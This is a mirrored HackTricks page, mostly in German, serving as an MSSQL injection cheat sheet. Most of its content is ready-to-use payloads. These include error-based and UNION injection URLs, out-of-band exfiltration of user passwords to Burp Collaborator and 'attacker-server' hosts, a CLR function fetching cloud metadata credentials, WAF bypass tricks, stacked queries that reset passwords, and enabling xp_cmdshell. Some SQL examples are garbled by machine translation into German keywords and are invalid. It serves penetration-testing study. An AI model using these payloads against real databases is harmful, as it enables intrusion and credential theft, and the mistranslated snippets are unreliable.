mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
254 lines
13 KiB
Markdown
254 lines
13 KiB
Markdown
# MSSQL Injection
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Active Directory Enumeration
|
|
|
|
Es kann möglich sein, **Domänenbenutzer über SQL-Injection innerhalb eines MSSQL**-Servers mit den folgenden MSSQL-Funktionen aufzulisten:
|
|
|
|
- **`SELECT DEFAULT_DOMAIN()`**: Aktuellen Domänennamen abrufen.
|
|
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Wenn Sie den Namen der Domäne (_DOMAIN_ in diesem Beispiel) kennen, gibt diese Funktion die **SID des Benutzers Administrator** im Hex-Format zurück. Dies sieht aus wie `0x01050000000[...]0000f401`, beachten Sie, wie die **letzten 4 Bytes** die Zahl **500** im **Big Endian**-Format sind, was die **gemeinsame ID des Benutzers Administrator** ist.\
|
|
Diese Funktion ermöglicht es Ihnen, **die ID der Domäne** zu erfahren (alle Bytes außer den letzten 4).
|
|
- **`SUSER_SNAME(0x01050000000[...]0000e803)`**: Diese Funktion gibt den **Benutzernamen der angegebenen ID** zurück (sofern vorhanden), in diesem Fall **0000e803** im Big Endian == **1000** (normalerweise ist dies die ID des ersten regulären Benutzerkontos, das erstellt wurde). Dann können Sie sich vorstellen, dass Sie Benutzer-IDs von 1000 bis 2000 brute-forcen können und wahrscheinlich alle Benutzernamen der Benutzer der Domäne erhalten. Zum Beispiel mit einer Funktion wie der folgenden:
|
|
```python
|
|
def get_sid(n):
|
|
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
|
user = struct.pack('<I', int(n))
|
|
user = user.hex()
|
|
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
|
```
|
|
## **Alternative Error-Based Vektoren**
|
|
|
|
Error-basierte SQL-Injektionen ähneln typischerweise Konstruktionen wie `+AND+1=@@version--` und Varianten, die auf dem «OR»-Operator basieren. Abfragen, die solche Ausdrücke enthalten, werden normalerweise von WAFs blockiert. Als Umgehung können Sie einen String mit dem %2b-Zeichen mit dem Ergebnis spezifischer Funktionsaufrufe verketten, die einen Datentypkonvertierungsfehler bei den gesuchten Daten auslösen.
|
|
|
|
Einige Beispiele für solche Funktionen:
|
|
|
|
- `SUSER_NAME()`
|
|
- `USER_NAME()`
|
|
- `PERMISSIONS()`
|
|
- `DB_NAME()`
|
|
- `FILE_NAME()`
|
|
- `TYPE_NAME()`
|
|
- `COL_NAME()`
|
|
|
|
Beispiel für die Verwendung der Funktion `USER_NAME()`:
|
|
```
|
|
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
|
|
```
|
|

|
|
|
|
## SSRF
|
|
|
|
Diese SSRF-Tricks [wurden hierher entnommen](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
|
|
|
### `fn_xe_file_target_read_file`
|
|
|
|
Es erfordert die Berechtigung **`VIEW SERVER STATE`** auf dem Server.
|
|
```
|
|
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
|
|
```
|
|
|
|
```sql
|
|
# Check if you have it
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
|
# Or doing
|
|
Use master;
|
|
EXEC sp_helprotect 'fn_xe_file_target_read_file';
|
|
```
|
|
### `fn_get_audit_file`
|
|
|
|
Es erfordert die **`CONTROL SERVER`** Berechtigung.
|
|
```
|
|
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
|
|
```
|
|
|
|
```sql
|
|
# Check if you have it
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
|
# Or doing
|
|
Use master;
|
|
EXEC sp_helprotect 'fn_get_audit_file';
|
|
```
|
|
### `fn_trace_gettabe`
|
|
|
|
Es erfordert die **`CONTROL SERVER`** Berechtigung.
|
|
```
|
|
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
|
|
```
|
|
|
|
```sql
|
|
# Check if you have it
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
|
# Or doing
|
|
Use master;
|
|
EXEC sp_helprotect 'fn_trace_gettabe';
|
|
```
|
|
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
|
|
|
Gespeicherte Prozeduren wie `xp_dirtree`, obwohl von Microsoft nicht offiziell dokumentiert, wurden von anderen online aufgrund ihrer Nützlichkeit bei Netzwerkoperationen innerhalb von MSSQL beschrieben. Diese Prozeduren werden häufig bei Out of Band Data Exfiltration verwendet, wie in verschiedenen [Beispielen](https://www.notsosecure.com/oob-exploitation-cheatsheet/) und [Beiträgen](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) gezeigt.
|
|
|
|
Die gespeicherte Prozedur `xp_dirtree` wird beispielsweise verwendet, um Netzwerkrequests zu machen, ist jedoch auf den TCP-Port 445 beschränkt. Die Portnummer ist nicht änderbar, erlaubt jedoch das Lesen von Netzwerkfreigaben. Die Verwendung wird im folgenden SQL-Skript demonstriert:
|
|
```sql
|
|
DECLARE @user varchar(100);
|
|
SELECT @user = (SELECT user);
|
|
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
|
|
```
|
|
Es ist bemerkenswert, dass diese Methode möglicherweise nicht auf allen Systemkonfigurationen funktioniert, wie zum Beispiel auf `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`, der auf einem `Windows Server 2016 Datacenter` mit den Standardeinstellungen läuft.
|
|
|
|
Zusätzlich gibt es alternative gespeicherte Prozeduren wie `master..xp_fileexist` und `xp_subdirs`, die ähnliche Ergebnisse erzielen können. Weitere Details zu `xp_fileexist` finden Sie in diesem [TechNet-Artikel](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
|
|
|
|
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
|
|
|
|
Offensichtlich könnten Sie auch **`xp_cmdshell`** verwenden, um **etwas auszuführen**, das eine **SSRF** auslöst. Für weitere Informationen **lesen Sie den entsprechenden Abschnitt** auf der Seite:
|
|
|
|
{{#ref}}
|
|
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
|
|
{{#endref}}
|
|
|
|
### MSSQL Benutzerdefinierte Funktion - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
|
|
|
Die Erstellung einer CLR UDF (Common Language Runtime Benutzerdefinierte Funktion), die in einer beliebigen .NET-Sprache verfasster und in eine DLL kompiliert ist, um innerhalb von MSSQL benutzerdefinierte Funktionen auszuführen, ist ein Prozess, der `dbo`-Zugriff erfordert. Das bedeutet, dass es normalerweise nur möglich ist, wenn die Datenbankverbindung als `sa` oder mit einer Administratorrolle hergestellt wird.
|
|
|
|
Ein Visual Studio-Projekt und Installationsanweisungen sind in [diesem Github-Repository](https://github.com/infiniteloopltd/SQLHttp) bereitgestellt, um das Laden der Binärdatei in MSSQL als CLR-Assembly zu erleichtern, wodurch die Ausführung von HTTP GET-Anfragen aus MSSQL heraus ermöglicht wird.
|
|
|
|
Der Kern dieser Funktionalität ist in der Datei `http.cs` gekapselt, die die `WebClient`-Klasse verwendet, um eine GET-Anfrage auszuführen und Inhalte wie unten dargestellt abzurufen:
|
|
```csharp
|
|
using System.Data.SqlTypes;
|
|
using System.Net;
|
|
|
|
public partial class UserDefinedFunctions
|
|
{
|
|
[Microsoft.SqlServer.Server.SqlFunction]
|
|
public static SqlString http(SqlString url)
|
|
{
|
|
var wc = new WebClient();
|
|
var html = wc.DownloadString(url.Value);
|
|
return new SqlString(html);
|
|
}
|
|
}
|
|
```
|
|
Bevor Sie den `CREATE ASSEMBLY` SQL-Befehl ausführen, wird empfohlen, den folgenden SQL-Snippet auszuführen, um den SHA512-Hash der Assembly zur Liste der vertrauenswürdigen Assemblies des Servers hinzuzufügen (einsehbar über `select * from sys.trusted_assemblies;`):
|
|
```sql
|
|
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
|
```
|
|
Nachdem die Assembly erfolgreich hinzugefügt und die Funktion erstellt wurde, kann der folgende SQL-Code verwendet werden, um HTTP-Anfragen durchzuführen:
|
|
```sql
|
|
DECLARE @url varchar(max);
|
|
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
|
SELECT dbo.http(@url);
|
|
```
|
|
### **Schnelle Ausnutzung: Abrufen des gesamten Tabelleninhalts in einer einzigen Abfrage**
|
|
|
|
[Trick von hier](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
|
|
|
Eine prägnante Methode zum Extrahieren des vollständigen Inhalts einer Tabelle in einer einzigen Abfrage besteht darin, die `FOR JSON`-Klausel zu verwenden. Dieser Ansatz ist kürzer als die Verwendung der `FOR XML`-Klausel, die einen spezifischen Modus wie "raw" erfordert. Die `FOR JSON`-Klausel wird aufgrund ihrer Kürze bevorzugt.
|
|
|
|
So rufen Sie das Schema, die Tabellen und die Spalten aus der aktuellen Datenbank ab:
|
|
````sql
|
|
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
|
|
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
|
|
|
|
```sql
|
|
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
|
|
````
|
|
|
|
### Retrieving the Current Query
|
|
|
|
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
|
|
|
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
|
|
|
|
```sql
|
|
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
|
|
```
|
|
|
|
To check if you have the VIEW SERVER STATE permission, the following query can be used:
|
|
|
|
```sql
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
|
```
|
|
|
|
## **Little tricks for WAF bypasses**
|
|
|
|
[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
|
|
|
Non-standard whitespace characters: %C2%85 или %C2%A0:
|
|
|
|
```
|
|
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
|
|
```
|
|
|
|
Scientific (0e) and hex (0x) notation for obfuscating UNION:
|
|
|
|
```
|
|
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
|
|
|
|
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
|
|
```
|
|
|
|
A period instead of a whitespace between FROM and a column name:
|
|
|
|
```
|
|
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
|
|
```
|
|
|
|
\N separator between SELECT and a throwaway column:
|
|
|
|
```
|
|
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
|
|
```
|
|
|
|
### WAF Bypass with unorthodox stacked queries
|
|
|
|
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
|
|
|
|
```sql
|
|
SELECT 'a' SELECT 'b'
|
|
```
|
|
|
|
So for example, multiple queries such as:
|
|
|
|
```sql
|
|
benutze [tempdb]
|
|
erstelle tabelle [test] ([id] int)
|
|
füge [test] werte(1) ein
|
|
wähle [id] von [test]
|
|
lösche tabelle [test]
|
|
```
|
|
|
|
Can be reduced to:
|
|
|
|
```sql
|
|
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
|
```
|
|
|
|
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
|
|
|
|
```
|
|
# Hinzufügen eines nutzlosen exec() am Ende und den WAF glauben lassen, dass dies keine gültige Abfrage ist
|
|
admina'union select 1,'admin','testtest123'exec('select 1')--
|
|
## Das wird sein:
|
|
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
|
|
exec('select 1')--'
|
|
|
|
# Verwendung seltsam konstruierter Abfragen
|
|
admin'exec('update[users]set[password]=''a''')--
|
|
## Das wird sein:
|
|
SELECT id, username, password FROM users WHERE username = 'admin'
|
|
exec('update[users]set[password]=''a''')--'
|
|
|
|
# Oder Aktivierung von xp_cmdshell
|
|
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
|
## Das wird sein
|
|
select * from users where username = ' admin'
|
|
exec('sp_configure''show advanced option'',''1''reconfigure')
|
|
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
|
```
|
|
|
|
## References
|
|
|
|
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
|
- [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|